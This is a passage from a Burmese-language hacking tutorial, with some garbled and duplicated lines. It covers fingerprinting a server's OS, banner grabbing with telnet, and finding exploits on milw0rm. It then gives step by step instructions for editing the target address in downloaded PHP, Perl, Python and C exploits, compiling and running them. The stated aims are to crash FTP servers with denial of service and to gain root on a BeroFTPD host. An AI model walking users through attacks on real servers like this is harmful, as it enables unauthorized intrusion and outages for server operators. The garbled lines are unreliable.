သုံးလဲသိရင္ ေAာင္ျမင္ဖို႕ Aခြင့္Aေရးပိုမ်ားလာပါမယ္။ Nmap မွာ OS ကို Detect လုပ္တဲ့ option 

တစ္ခုပါတာ ေတြ႕မွာပါ။ ဒါေပမယ့္ ျဖစ္ႏိုင္ရင္Aဲဒါကို မသုံးပါနဲ႕။ Aဒီဲ scan ဟာ 

Aႏၱရာယ္မ်ားလြန္းပါတယ္။ Aရင္တုန္းကေတာ့ OS ကိုသိႏိုင္ဖို႕ 404 Error Page တစ္ခုကို 

ရေAာင္လုပ္ၾကည့္ပါတယ္။ တကယ္မရွိတဲ့ Website Address တစ္ခုရဲ႕ url ကုိထည့္ၾကည့္ရင္ A ဲဒီ 404 

Error Page တက္လာပါတယ္။ Uပမာ - www.targetsite.com/kjefkljakdfjkdfj.php ဆိုၿပီး 

ရိုက္ထည့္ၾကည့္ပါ။ A ဲဒီလိုနာမည္နဲ႕ page A ဲဒီဆိုဒ္မွာေတာ့ရွိမွာမဟုတ္ပါဘူး။ ဒါေၾကာင့္ 404 error 

page ေပၚလာမွာပါ။ 404 error page A မ်ားစုဟာ A ဲဒီ server မွာ သုံးတဲ့ OS A မည္နဲ႕ version 

ကိုေဖာ္ျပထားတတ္ပါတယ္။ ဒီေန႕ေခတ္ ဆိုဒ္ေတာ္ေတာ္မ်ားမ်ားကေတာ့ A ဲဒီလို မေဖာ္ျပေတာ့ပါဘူး။ 

ဒါေၾကာင့္ ဒီနည္းဟာ A ၿမAဲ သုံးမ၀င္ပါဘူး။ 

 
၆. Nmap CLI version ကို သုံးဖို႕ရည္ရြယ္ထားရင္ ဒါမွမဟုတ္ nmap မွာသုံးတဲ့ command 

ေတြA ေၾကာင္းသိခ်င္ရင္ http:// nmap.org/book/man.html ကို သြားၾကည့္ပါ။ 

 

၇. A ခု ဟကၠာဟာ Open ports ေတြနဲ႕ run ေနတဲ့ services ေတြကို သိၿပီဆိုေပမယ့္ Server version 

ကိုသိဖို႕က်န္ေသးတယ္ေနာ္။ ဒီေတာ့ သိေA ာင္ လုပ္ရေတာ့မွာေပါ့။ ဘယ္လိုလုပ္ရမလဲဆိုေတာ့ 

ေနာက္ေခါင္းစU္တစ္ခုျဖစ္တဲ့ Banner Grabbing ကိုဆက္ေလ့လာၾကည့္ပါ။ 

 
 
 
 
 
 



Banner Grabbing 

Run ေနတဲ့ Service ေတြကို သိၿပီဆိုေတာ့ Aဲဒါေတြကို Aသုံးခ်ဖို႕Aတြက္ Aဲဒီ service 

ေတြမွာသုံးေနတဲ့ software Aမ်ိဳးAစားနဲ႕ version ကိုသိေAာင္လုပ္ဖုိ႕ လိုလာပါၿပီ။ 

ဒီAခ်က္Aလက္ေတြကို ရဖို႕ နည္းတစ္ခုကေတာ့ service port ေတြဆီ telnet လုပ္ၾကည့္ဖို႕ပါ။ ဒီ 

Example မွာ ၀င္းဒုိးမွာပါတဲ့ command prompt ကိုAသုံးျပဳသြားပါမယ္။ 

(Start->Run->Type “cmd” -> Enter). Linux/Mac ကိုသုံးေနတာဆိုရင္ေတာ့ terminal ကိုသံုးေပါ့။ 

မွတ္ခ်က္ - Windows Vista မွာေတာ့ telnet ကို မသြင္းေပးထားပါဘူး။ ေAာက္ပါနည္းAတိုင္း 

သြင္းလိုက္ပါ။ 

- Start -> Control Panel 

- Programs and Features ကိုေရြးပါ 

- Turn Windows Features on or off ကိုေရြးပါ 

- Telnet Client ကိုေရြးေပးၿပီး OK ကိုႏွိပ္ပါ 

- ၁. Nmap နဲ႕စစ္ခဲ့တုန္းက ေတြ႕ခဲ့တဲ့ open port တစ္ခုခုကို ေရြးခ်ယ္ရပါမယ္။ port 21 

ပြင့္ေနတာ ေတြ႕ခဲ့တယ္လုိ႕ ဆိုၾကပါစို႕။ ဒါဆို port 21 ဟာ ဘာ port လဲ Aေပၚက 

ဇယားမွာျပန္ၾကည့္ပါ။ port 21 ဟာ FTP Aတြက္ေနာ္။ ဒီေတာ့ ဘယ္ FTP software 

ကိုသုံးေနလဲ ၾကည့္ဖို႕Aတြက္ telnet www.target.com 21 ဆိုၿပီး ရိုက္ထည့္ပါ။ 

ပုံ - 42 

 
Aေပၚကပုံမွာေတာ့ ကိုယ့္ရဲ႕စက္ကို ကိုယ္ျပန္စမ္းေနတာျဖစ္တဲ့Aတြက္ (localhost) ဆိုၿပီး 

ရိုက္ထည့္ထားပါတယ္။ localhost ေနရာမွာ ကိုယ့္ target ရဲ႕ URL ကုိထည့္ပါ။ 

 



၂. Aဲဒီေနာက္မွာေတာ့ Target ကို connect လုပ္ၿပီး software နာမည္နဲ႕ version ကို 

ေAာက္မွာျပထားတဲ့ ပုံAတိုင္း ေဖာ္ျပလာပါလိမ့္မယ္။ ဒီAခ်က္Aလက္ဟာ ဟကၠာလိုေနတဲ့ 

Aခ်က္ပါပဲ။ Aခုေတြ႕တဲ့ software ကို ထိုးႏွက္ႏိုင္မယ့္Aားနည္းခ်က္ကို ဟကၠာဟာ စရွာပါေတာ့မယ္။ 

ပုံ - 43 

 
 
ဒီနည္းက Aလုပ္မျဖစ္ဘူးဆိုရင္ ဒီAခ်က္Aလက္ေတြကိုရဖို႕ Nmap မွာ Scan ကုိ Full version 

detection နဲ႕သာ စစ္လုိက္ပါေတာ့။ 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 



Searching for Vulnerabilities 

Server software ရဲ႕နာမည္နဲ႕ version number ကိုသိသြားၿပီးတဲ့ေနာက္မွာ 

ဟကၠာတစ္ေယာက္ဟာ ထိုးႏွက္ႏိုင္မယ့္ ဟာကြက္ေတြကို ရွာဖို႕Aတြက္ AဲဒီAခ်က္ Aလက္ေတြကို 

Aေျခခံၿပီး Vulnerability database ေတြမွာ သြားရွာၾကည့္ရပါမယ္။ သူနဲ႕ကိုက္ညီမယ့္ Exploit 

ကိုေတြ႕ၿပီဆိုတာနဲ႕ server ကိုAဲဒါနဲ႕တိုက္ခုိက္ၿပီး ထိန္းခ်ဳပ္ႏိုင္ေAာင္ လုပ္ပါေတာ့မယ္။ exploit 

မေတြ႕ဘူးဆိုရင္ေတာ့ ေနာက္ port တစ္ခု ေနာက္ service တစ္ခုကို ႀကိဳးစားၾကည့္ရမွာေပါ့။ 

လူသိမ်ားတဲ့ Exploit database တစ္ခ်ိဳ႕ကေတာ့ 

Milw0rm – http://www.milw0rm.com/ 

Security Focus - http://www.securityfocus.com/ 

Osvdb – http://osvdb.org/ 

 

ဒီစာAုပ္ေရးေနခ်ိန္မွာ ကၽြန္ေတာ့္စက္မွာ သုံးေနတဲ့ FTP software “filezilla” Aတြက္ exploit 

ကို milw0rm မွာ သြားရွာၾကည့္ရင္ ေတြ႕မွာ မဟုတ္ပါဘူး။ လူAမ်ားစုကေတာ့ ဒီလိုမေတြ႕တာနဲ႕ ေနာက္ 

port တစ္ခုက Service ရဲ႕ Vulnerability ကိုရွာဖို႕ ၾကိဳးစားၾကပါတယ္။ ဒါေပမယ့္ ဟကၠာတိုင္းေတာ့ 

ဒီလုိလုပ္ၾကတယ္လို႕ မဆိုႏုိင္ပါ။ Aရည္Aခ်င္းျပည့္၀တဲ့ ဟကၠာတစ္ေယာက္ဟာ Current software 

version ရဲ႕ exploit ကို exploit database ေတြမွာ မေတြ႕လည္း Aဲဒီ software ရဲ႕ Aားနည္းခ်က္ကို 

သူကိုယ္တိုင္ရွာၿပီး exploit ကို ကုိယ္တိုင္ဖန္တီးပါလိမ့္မယ္။ ဟကၠာေလာကမွာ ဒီလို Aသစ္ေတြ႕တဲ့ 

Vulnerability ကို “0-day” လို႕ေခၚၾကပါတယ္။ 

Aခု ေတြ႕ခဲ့ၿပီးသား Vulnerability ေတြကို တိုက္ခုိက္ခဲ့တဲ့ပုံစံေလးေတြAေၾကာင္းနည္းနည္း 

ေျပာျပပါမယ္။  

 
Denial-of-Service (DoS) – DoS attack မ်ိဳးကြဲေပါင္း Aမ်ားႀကီးရွိပါတယ္။ ဒါေပမယ့္ Aားလုံး 

Uီးတည္ခ်က္တစ္ခုတည္း A တြက္ပါ။ server တစ္ခုမွာ မွတ္ပုံတင္ထားတဲ့ User ေတြ Aဲဒီ server 

ကိုသံုးလို႕မရေAာင္ လုပ္တာပါပဲ။ Aသုံးမ်ားတဲ့ DoS attack ပုံစံကေတာ့ Aဲဒီ server ဆီ 

Aခ်က္Aလက္ေတြ ေတာင္ပုံယာပုံ ပို႕ၿပီး server ကို busy ျဖစ္ေAာင္လုပ္ပါတယ္။ server ဟာသူပို႕တဲ့ 

လိုက္Aခ်က္Aလက္ေတြ Aတြက္ Aလုပ္မ်ားေနရတဲ့Aတြက္ user ေတြ သုံးစြဲဖုိ႕ Login ၀င္တဲ့Aခ်ိန္မွာ 

၀င္ႏိုင္ေAာင္ မလုပ္ေပးႏိုင္ေတာ့ပါဘူး။ 

 

Buffer Overflow (BoF) – program တစ္ခုဟာ buffer တစ္ခု (or) storage area တစ္ခုရဲ႕ 

သိမ္းဆည္းႏိုင္တဲ့ ပမာဏထက္ ပိုၿပီး သိမ္းဆည္းဖို႕ ႀကိဳးပမ္းရင္ Buffer Overflow ျဖစ္ပါတယ္။ Buffer 

တစ္ခုဟာ သတ္မွတ္ထားတဲ့ data ပမာဏကိုပဲ လက္ခံပါတယ္။ Aဲဒီထက္ပိုသြားရင္ 



Aခ်က္Aလက္ေတြဟာ တစ္ျခား Buffer ေတြဆီ လွ်ံထြက္သြားခ်ိန္မွာ ဟကၠာေတြရဲ႕ malicious code 

ေတြနဲ႕ Aစားထိုးလိုက္ျခင္း ခံရႏိုင္ပါတယ္။ Aဲဒီ code ေတြ   ထ execute လုပ္မိၿပီဆိုရင္ server ကို 

ဟကၠာက ခြထိုင္လိုက္ႏိုင္ပါၿပီ။ 

 
Milw0rm မွာ exploit ေတြရွာၿပီဆိုရင္ local exploit နဲ႕ remote exploit ဆိုတဲ့ ေခါင္းစU္ခြဲေတြကို 

ေတြ႕မွာပါ။ Aဲဒါေတြရဲ႕ Aဓိပၸာယ္ကေတာ့… 

 

Local Exploit – local exploit ကို run ဖို႕Aတြက္ run မယ့္ စက္ေပၚမွာ Aသုံးျပဳခြင့္ရွိမယ့္ privilege 

user access ရွိဖို႕လိုပါတယ္။ ဒီ exploit ကို မ်ားေသာAားျဖင့္ privilege Aဆင့္ကေန admin (or) 

root Aဆင့္ေရာက္ေAာင္ လုပ္တဲ့ေနရာမွာ Aသုံးျပဳၾကပါတယ္။ ေနာက္တစ္နည္းေျပာရရင္ေတာ့ ဒီ 

exploit ဟာ သာမာန္ user Aဆင့္ကေန root privilege Aဆင့္ေရာက္ေAာင္ လုပ္ေပးတဲ့ exploit ပါ။ 

 

Remote Exploit – remote exploit ကေတာ့ စက္ေပၚမွာ ၀င္ run တာမဟုတ္ဘဲ internet 

ကေနတဆင့္ run တဲ့ exploit ပါ။ 

 

System တစ္ခုကို ထိန္းခ်ဳပ္ႏိုင္ဖို႕ ဟကၠာေတြဟာ ဒီ exploit ႏွစ္မ်ိဳးလံုးကို Aသုံးျပဳတတ္ၾကပါတယ္။ 

Uပမာ - ဟကၠာဟာ system တစ္ခုရဲ႕ regular privilege ျဖစ္ေAာင္ remote exploit attack 

နဲ႕ျပဳလုပ္ခဲ့ၿပီး regular privilege ကေန root privilege ျဖစ္ေAာင္ local exploit နဲ႕ 

ႀကိဳးစားတတ္ပါတယ္။ 

 
 
 
 
 
 
 
 
 
 
 
 
 
 



Penetrating 

Server တစ္ခုရဲ႕ Vulnerability တစ္ခုလည္းေတြ႕ပါၿပီ။ AဲဒီAတြက္ exploit 

လည္းရွာေတြ႕ထားၿပီးပါၿပီ။ ဒါေပမယ့္ Aဲဒါကို ဘယ္လို run ၿပီး server 

ကိုဘယ္လိုထိုးေဖာက္တိုက္ခိုက္မလဲ။ ဒီ Aခန္းမွာ Aားလုံးရွင္းျပထားပါတယ္။ 

 

PHP 

PHP exploit ေတြကေတာ့ AသုံးAမ်ားဆုံးပါ။ PHP exploit code ေတြဟာ Aမ်ားAားျဖင့္ <?php 

နဲ႕စၿပီး ?> နဲ႕ Aဆုံးသတ္ပါတယ္။ FTP server 0.9.20 ကိုAသုံးျပဳေနတဲ့ server တစ္ခုကို 

ယာယီထိခိုက္သြားေAာင္ လုပ္ခ်င္တယ္လို႕ ဆိုၾကပါစို႕။ milw0rm မွာ သြားရွာၾကည့္ရင္ ဒီ DoS Exploit 

ကို ေတြ႕ရပါမယ္။ ဒီက download လုပ္ပါ။ http://milw0rm.com/exploits/2901  

 

Aဲဒီ exploit ကို server ကို attack လုပ္ဖို႕ run ရပါမယ္။ ဘယ္လိုလုပ္ရမလဲဆိုေတာ့… 

၁. ပထမဆုံး ကိုယ့္စက္ထမဲွာ PHP သြင္းထားဖို႕လိုပါတယ္။ WAMP 

http://www.wampserver.com/en/ ဟာ PHP ပါ ပါတဲ့ free web server ပါ။ 

PHP exploit ကို notepad ထကဲူးထည့္ၿပီး “exploit.php” လို႕နာမည္ေပးၿပီး သိမ္းလိုက္ပါ။ target 

address ကိုျပင္ဆင္ဖို႕A တြက္ PHP A ေၾကာင္းကိုေတာ့ နည္းနည္းသိဖို႕လိုပါတယ္။ A ခု exploit ရဲ႕ 

လိုင္းနံပါတ္ - 13 မွာ $address = gethostbyname(‘192.168.1.3’); $address = gethostbyname(‘192.168.1.3’); $address = gethostbyname(‘192.168.1.3’); $address = gethostbyname(‘192.168.1.3’); ဆိုၿပီးေတြ႕ပါမယ္။ A ဲဒီ IP 

address ေနရာမွာ ကိုယ့္ target ရဲ႕ လိပ္စာကို ျပင္ထည့္လိုက္ပါ။ Exploit ေတြဟာ တစ္ခုနဲ႕တစ္ခု 

မတူညီၾကပါဘူး။ ဘယ္ေနရာမွာ ဘယ္လိုျပင္ရမယ္ဆိုတာကို ကိုယ္က သိဖို႕လိုပါတယ္။ တစ္ခ်ိဳ႕မွာေတာ့ 

runtime instruction ေတြ ပါတတ္ပါတယ္။ A ခုျပင္ၿပီးတဲ့ ဖိုင္ကို သင့္ server ရဲ႕ PHP directory 

ေA ာက္မွာ သြားသိမ္းလိုက္ပါ။ WAMP ကိုသုံးတာဆိုရင္ directory ဟာ C:\wamp\bin\php\php5.2.5 

ျဖစ္ပါလိမ့္မယ္။  

၂. ေနာက္တဆင့္ကေတာ့ Command prompt ဒါမွမဟုတ္ Mac သုံးသူဆိုရင္ terminal ကိုဖြင့္ပါ။ cd 

command ကို သုံးၿပီး php directory ရွိတဲ့ ေနရာကို သြားပါ။  

ပုံ - 44 

 



 
၃. Exploit ကို run ဖို႕Aခ်ိန္က်ေရာက္ပါၿပီ။ php exploit.php လို႕သာ ရိုက္ထည့္ၿပီး enter 

ကုတ္ခ်လိုက္ပါ။ error ႏွစ္ေၾကာင္းေလာက္ တက္လာပါလိမ့္မယ္။ 

ပုံ - 45 

 
 
 
၄. ဟကၠာဂုရုႀကီးေတြဟာ exploit ေတြ ေရးတဲ့Aခ်ိန္မွာ Aမွားေလးေတြ၊ code Aပိုေလးေတြ 

ထည့္ေရးတတ္ၾကပါတယ္။ ဒီ exploit ေတြကို ဘာ programming knowledge မွမရွိတဲ့ script kiddies 

ေတြ Aသုံးျပဳလို႕ မရႏိုင္ေAာင္ပါ။ Aေပၚက exploit ရဲ႕ လိုင္း - 18 ကိုသြားၾကည့္ရင္ 

ေAာက္ပါလိုင္းကိုျမင္ရပါလိမ့္မယ္။ 

    
$junk.$junk.$junk.$junk.=”../../../sun=”../../../sun=”../../../sun=”../../../sun----tzu/../../../suntzu/../../../suntzu/../../../suntzu/../../../sun----tzu/../../../suntzu/../../../suntzu/../../../suntzu/../../../sun----tzu”;tzu”;tzu”;tzu”;    
 

ဒီလိုင္းက script kiddies ေတြကို ပညာျပထားတဲ့ လိုင္းပါ။ ဒီစာေၾကာင္းကို ဖ်က္လိုက္ရင္ ပထမ 

error ေပ်ာက္သြားပါလိမ့္မယ္။ ဒါေၾကာင့္ေျပာတာေပါ့ programming ကို ေလ့လာသင္ယူဖို႕ 

လိုပါတယ္လို႕။ 

Error တစ္ခု Aဆင္ေျပသြားေပမယ့္လည္း ေနာက္တစ္ခု က်န္ေနေသးတယ္ေနာ္။ ဒီ error ကေတာ့ 

Server Configuration error ပါ။ ဟကၠာတစ္ေယာက္ျဖစ္ခ်င္တယ္ဆိုရင္ ကိုယ့္ဘာသာ Aမ်ားႀကီး 

သင္ယူေလ့လာရပါမယ္။ error တစ္ခုခု ေတြ႕တိုင္း ဟိုဟိုဒီဒီမွာ လိုက္ေမးေနလုိ႕ မေကာင္းပါဘူး။ 

www.google.com မွာ ရွာလို႕ပဲ Aမ်ားဆုံး ျပန္ေျဖၾကပါလိမ့္မယ္။ ဟုတ္ပါတယ္ Google က သင့္ရဲ႕ 

သူငယ္ခ်င္းပါ။ သူ႕ရဲ႕ Aားသာခ်က္ေတြကို ေကာင္းေကာင္းAသုံးခ်လိုက္ပါ။ 

 

၅။ Error ေတြမရွိေတာ့ဘူးဆိုရင္ Program စ run ပါၿပီ။ command prompt ကမထြက္မခ်င္း target 

website ကို DoS Attack နဲ႕ တိုက္ခုိက္ေနပါၿပီ။ A ဲဒီဆုိဒ္ကို သြားၿပီး ဟိုဟိုဒီဒီ ဖြင့္ၾကည့္ပါ။ Target 

Server ဟာ ေကာင္းေကာင္း ဒီ exploit ကို မႏုိင္ဘူးဆိုရင္ exploit ရဲ႕A စြမ္းေတြကို 



ေတြ႕ျမင္ရပါလိမ့္မယ္။ Aဲဒီ ဆိုဒ္ဟာ ေလးလာၿပီး page ေတြကို Load ခ်ိန္ဟာလည္း ၾကာလာပါမယ္။ 

ေနာက္ဆုံးမွာေတာ့ server ႀကီး က်ဆုံးသြားပါလိမ့္မယ္။  

 
 
 
Perl 

Perl exploit ေတြကို run ရတာလည္း PHP နဲ႕Aတူတူပါပဲ။ 

 

၁. သင့္ေတာ္တဲ့ Active Perl version တစ္ခုခုကို Download လုပ္လိုက္ပါ။ 

http://www.activestate.com/Products/activeperl/index.mhtml 

 

၂. Vulnerability A တြက္ Exploit ကိုရွာပါမယ္။ ဒီ Uပမာမွာေတာ့ ဒီ နမူနာ exploit ကိုသံုးပါမယ္။ 

http://milw0rm.com/exploits/6581  

WinFTP Server 2.3.0 A တြက္ exploit ပါ။ ဒါလည္း DoS exploit ပါပဲ။ 

 

၃. Target server address တို႕ဘာတို႕ကို လိုA ပ္သလို ျပင္ဆင္လိုက္ပါ။ ၿပီးရင္ “exploit.pl” ဆိုၿပီး 

save လိုက္ပါ။ Perl exploit ေတြဟာ “!/usr/bin/perl” နဲ႕စတယ္ဆိုတာ ျမင္ပါလိမ့္မယ္။ 

 

၄. Cmd (or) Terminal ကိုဖြင့္ၿပီး exploit ရွိတဲ့ directory ကို cd command နဲ႕သြားလိုက္ပါ။ ၿပီးရင္ 

perl exploit.pl လုိ႕ရိုက္ထည့္ၿပီး run လိုက္ပါ။ စၿပီး attack လုပ္ပါလိမ့္မယ္။  

ပုံ - 46 

 



 
Python 

Exploit ေတြကို python နဲ႕လည္း ေရးၾကပါတယ္။ python ကို 

http://www.python.org/download/ ကေန ရယူႏိုင္ပါတယ္။ python exploit ကို run ပုံကလည္း 

perl နဲ႕Aတူတူပါပဲ။ python exploit ကိုဒီကယူၿပီး run ၾကည့္ပါ။ 

http://milw0rm.com/exploits/3523  

Python file ေတြရဲ႕ extension ကေတာ့ .py ပါ။ 

 

 

C/C++ 

Exploit code ေတြကို ဖန္တီးတဲ့ လူႀကိဳက္Aမ်ားဆုံး language ပါ။ တစ္ခ်ိဳ႕ C/C++ code ေတြဟာ 

ဘယ္ compiler ဘယ္ operating system မွာမဆို compile လုပ္ႏိုင္ပါတယ္။ ဒါေပမယ့္ exploit 

Aမ်ားစုကေတာ့ Linux မွာပဲ compile လုပ္လို႕ရပါတယ္။ Windows ကိပုဲ သုံးၿပီးလုပ္ခ်င္တယ္ဆိုရင္ 

Cygwin – http://www.cygwin.com/ ကို သုံးၾကည့္ပါ။ Cygwin ဟာ Windows ထဲမွာပဲ Run တဲ့ 

Linux-like environment ပါ။ Linux script ေတြကို windows Aတြင္းမွာပဲ run ႏိုင္ေAာင္လည္း 

လုပ္ေပးႏိုင္ပါတယ္။ Linux Aတြက္ ေရးထားတဲ့ C/C++ exploit Aမ်ားစုဟာ Cygwin နဲ႕ run 

ၾကည့္လို႕ရေပမယ့္ မရတာေတြလည္း Aမ်ားႀကီး ရွိAုံးမွာပါ။ Cygwin နဲ႕ သုံးပုံကို ေနာက္မွေျပာပါမယ္။ 

Aခု Ubuntu Linux နဲ႕ C/C++ script ေတြကို ဘယ္လို compile လုပ္မယ္ run မယ္ဆိုတာကို 

Aရင္စေျပာပါမယ္။ 

 

၁. Terminal ကိုဖြင့္ပါ။ 

ပုံ - 47 

 



 
 
၂. http://milw0rm.com/exploits/269 ကိုသြားၿပီး remote root exploit ကို copy ကူးပါ။ 
 
 
၃. Terminal ထမဲွာ vi လုိ႕ ရိုက္ထည့္ၿပီး VI editor ကိုဖြင့္ပါ။ ေAာက္က screen ကိုျမင္ရပါမယ္။ 
ပုံ - 48 

 
 
၄. Typing Mode ထဲ၀င္ဖို႕ I လို႕ရိုက္ပါ။ (Shift + i) 

 

၅. Aခု insert mode ထဲေရာက္ေနပါၿပီ။ right click ႏိွပ္ၿပီး exploit ကို paste လုပ္ထည့္ပါ။ 

 

၆. Script Aထဲေရာက္သြားရင္ save လုပ္ဖို႕Aတြက္ <ESC> ကိုႏွိပ္ပါ။ ၿပီးရင္ “:wq exploit.c” 

လို႕ရိုက္ထည့္ပါ။ document ကေနထြက္ၿပီး document ကို exploit.c နာမည္နဲ႕ save 

လုပ္လိုက္ပါလိမ့္မယ္။ 

 
 
 
 
 
 



၇. Aခု terminal ထမဲွာ ls လို႕ရိုက္ထည့္ပါ။ ဒီ command ကေတာ့ current directory ထဲမွာရွိတဲ့ 

ဖိုင္ေတြAားလုံးကို ျပပါလိမ့္မယ္။ ခုနက save လုပ္ခဲ့တဲ့ exploit.c ဖိုင္ကုိ list ထဲမွာ ေတြ႕ပါလိမ့္မယ္။ 

ပုံ - 49 

 
 
၈. GCC compiler ကုိသုံးၿပီး ဒီ script ကို compile လုပ္ပါမယ္။ compile မလုပ္ခင္မွာ C/C++ script 

ေတြကို compile လုပ္ႏိုင္ဖို႕Aတြက္ လိုAပ္တဲ့ Libraries ေတြနဲ႕ headers ေတြပါတဲ့ development 

package ကိုAရင္ install လုပ္ရပါမယ္။ သြင္းပုံကေတာ့ လြယ္ပါတယ္။ Terminal ထဲမွာ ေAာက္က 

command ကိုရိုက္ထည့္လိုက္ပါ။ 

sudo aptsudo aptsudo aptsudo apt----getgetgetget    install buildinstall buildinstall buildinstall build----essentialessentialessentialessential    

ပုံ - 50 

 
 



၉. ဒီ command က လိုAပ္တဲ့ package ကို download လုပ္ၿပီး install 

ဆက္လုပ္မလားလို႕ေမးပါလိမ့္မယ္။ “y” လို႕ရိုက္ထည့္လိုက္ပါ။ package ကို သူ႕ဘာသာ 

သြင္းေပးပါလိမ့္မယ္။ *****(ubuntu linux မွာ package ေတြ install လုပ္နည္း download 

လုပ္နည္းေတြကို နယ္ေျမသစ္ကို လွမ္း၀င္ျခင္း စာAုပ္ထဲမွာ ဖတ္ၾကည့္ပါ) 

 

၁၀. ခုနက exploit script ကို compile လုပ္ဖုိ႕Aတြက္ “gcc exploit.c” လို႕ရိုက္ထည့္လိုက္ပါ။ 

compile စလုပ္ပါလိမ့္မယ္။ ဘာ error မွမျပဘူးဆိုရင္ ေAာင္ျမင္စြာ compile လုပ္လို႕ၿပီးပါၿပီ။ “ls” 

command ကိုသုံးၿပီး ဖိုင္ေတြကိုၾကည့္ၾကည့္ပါ။ “a.out” ဆိုတဲ့ compile လုပ္ၿပီးသား script 

ဖိုင္Aသစ္တစ္ခု ေတြ႕ရပါမယ္။ 

 

၁၁. Aဲဒီဖိုင္ကို run ဖို႕Aတြက္ “./a.out” လို႕ရိုက္ထည့္ပါ။ ဒီ exploit ကိုသုံးပုံသုံးနည္း Note 

Aနည္းငယ္ ျပပါလိမ့္မယ္။ ေAာက္က ပုံကိုၾကည့္ပါ။ 

ပုံ - 51 

 
၁၂. ပုံထကဲ ေAာက္ဆုံးAေၾကာင္းကေတာ့ ဒီ exploit ကို Aသုံးျပဳရမယ့္နည္းလမ္းပါပဲ။ 
 
 
 
 



၁၃. BeroFTPD 1.3.4 server ကို ဒီ exploit script နဲ႕ attack လုပ္ၾကည့္ရင္ ဟကၠာဟာ server ရဲ႕ 

root access ရသြားပါလိမ့္မယ္။ ေAာက္ကပုံကေတာ့ Ubuntu server မွာရွိတဲ့ root account 

ကိုျမင္ရမယ့္ပုံပါ။ 

ပုံ - 52 

 
“whoami” လို႕ရိုက္ၾကည့္ရင္ Aခု system ေပၚကသင့္ရဲ႕ privilege ကုိျပပါလိမ့္မယ္။ Aခုသင္ဟာ Aဲဒီ 
server ရဲ႕ root privilege ျဖစ္ေနတဲ့Aတြက္ root လို႕ျပပါလိမ့္မယ္။ 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 



Cygwin 

Linux မွာပဲ Aသုံးျပဳလို႕ရမယ့္ C/C++ script ကို windows မွာ Aသုံးျပဳခ်င္တယ္ဆိုရင္ Cygwin 

ကိုAသုံးျပဳၿပီး လုပ္ေဆာင္ႏုိင္ပါတယ္။ 

 

၁. http://www.cygwin.com/ ကေန Cygwin ကို Download လုပ္ယူလိုက္ပါ။ 

 

၂. Installer ကို run လိုက္ပါ။ 

 

၃. Option 3ခု ျပပါလိမ့္မယ္။ 1. Install from Internet 2. Download without Installing 3. Install 

from Local Directory ဆိုၿပီး ေတြ႕ပါမယ္။ internet connection ရွိရင္ေတာ့ နံပါတ္ 1 ကိုပဲ ေရြးၿပီး 

သြင္းလိုက္ပါ။ 2. Download without Installing ကေတာ့ ကိုယ့္စက္ထဲကို Cygwin setup file Aားလုံး 

download လုပ္ၿပီး ေနာက္မွ သြင္းခ်င္သြင္းႏိုင္ေAာင္ပါ။ download လုပ္ထားၿပီးသား Cygwin 

ကိုသြင္းျခင္းရင္ေတာ့ 3. Install from Local Directory ကိုေရြးေပးၿပီး သြင္းႏိုင္ပါတယ္။ 

ပုံ - 53 

 
 
 
 
 
 
 



 
 
၄. Install လုပ္ၿပီးသြားရင္ Cygwin Icon ကိုႏွိပ္ၿပီး ဖြင့္လိုက္ပါ။ command prompt တက္လာပါမယ္။ 
ပုံ - 55 

 
 
၅. Ubuntu linux မွာလုပ္ခဲ့တဲ့ exploit ကိုပဲAသုံးျပဳလုပ္ၾကည့္ပါမယ္။ Aဲဒီ exploit ဖုိင္ကို “C:\cygwin” 

directory ထကဲို ေရႊ႕လိုက္ၿပီး “exploit.c” နာမည္နဲ႕ သိမ္းပါ။ 

 

၆. Aခု exploit ကို run ၾကည့္ပါမယ္။ ပထမဆုံး home directory (C:\cygwin) ကို change 

ဖို႕Aတြက္ “cd /” နဲ႕ change လိုက္ပါ။ ေနာက္ Aဲဒီ directory ထဲက file ေတြကိုၾကည့္ဖို႕ “ls” 

command ကိုရိုက္ထည့္ပါ။ “exploit.c” ဖိုင္ကို ေတြ႕ရပါမယ္။ 

 

၇. Ubuntu မွာသုံးခဲ့တဲ့ “gcc exploit.c –o exploit” command ကိုသုံးၿပီးပဲ compile လုပ္လိုက္ပါ။ ဒီမွာ 

-o ဆိုတဲ့ parameter တစ္ခုပိုေနတာ ျမင္မွာပါ။ Aဲဒါကေတာ့ compile လုပ္ၿပီး ထြက္လာမယ့္ output 

file ကို exploit ဆိုၿပီး နာမည္ေပးၿပီး သုံးလိုက္တာပါ။ error တစ္စံုတစ္ရာ မေတြ႕ရင္ေတာ့ compile 

လုပ္ၿပီးပါၿပီ။ “ls” နဲ႕ current directory ထဲကဖိုင္ေတြကို ၾကည့္ၾကည့္ပါ။ “exploit.exe” ဖိုင္Aသစ္တစ္ခု 

ေတြ႕ရပါလိမ့္မယ္။ 

 

၈. Exploit ကို run ဖို႕ “./exploit” လို႕ရိုက္ထည့္လိုက္ပါ။ script ကို run ရမယ့္ ညႊန္ၾကားခ်က္ 

ေပၚလာပါမယ္။ parameter ေတြကို မွန္ကန္စြာ ေရြးခ်ယ္ၿပီး ေနာက္တစ္ႀကိမ္ ထပ္ run လိုက္ရင္ စၿပီး 

Aလုပ္လုပ္ပါလိမ့္မယ္။ (parameter ေတြကေတာ့ ပုံမွာ ျပထားတဲ့Aတိုင္းပဲ host name တို႕ target 

address တို႕ျဖစ္ပါတယ္။) 

ပုံ - 56 



 
 
၉. Vulnerable machine ကို ဒီ script နဲ႕ attack လုပ္ၾကည့္ရင္ target computer ရဲ႕ root access ကို 

ရပါလိမ့္မယ္။ 

 

Exploit ေတာ္ေတာ္မ်ားမ်ားကို run ၾကည့္ရင္၊ Aဲဒီထဲက တစ၀္က္ေလာက္က Aလုပ္မျဖစ္ေၾကာင္း 

ေတြ႕ရပါလိမ့္မယ္။ exploit Aမ်ားစုဟာ သူတို႕နဲ႕သက္ဆိုင္တဲ့ environment Aတြင္းမွာသာ စမ္းသပ္ 

ေရးသားခဲ့တဲ့Aတြက္ Aဲဒီ environment နဲ႕တစ္ထပ္တည္းတူတဲ့ machine ေတြမွာသာ ေAာင္ျမင္စြာ 

Aလုပ္လုပ္ပါလိမ့္မယ္။  

Programming knowledge ဘာလို႕လိုAပ္လဲဆိုတဲ့ ေနာက္ထပ္ Aေၾကာင္းျပခ်က္တစ္ခုပါ။ 

သင္ထိုးေဖာက္မယ့္ environment နဲ႕ ကိုက္ညီေAာင္ exploit ကို ျပင္ဆင္ႏိုင္ဖို႕Aတြက္ 

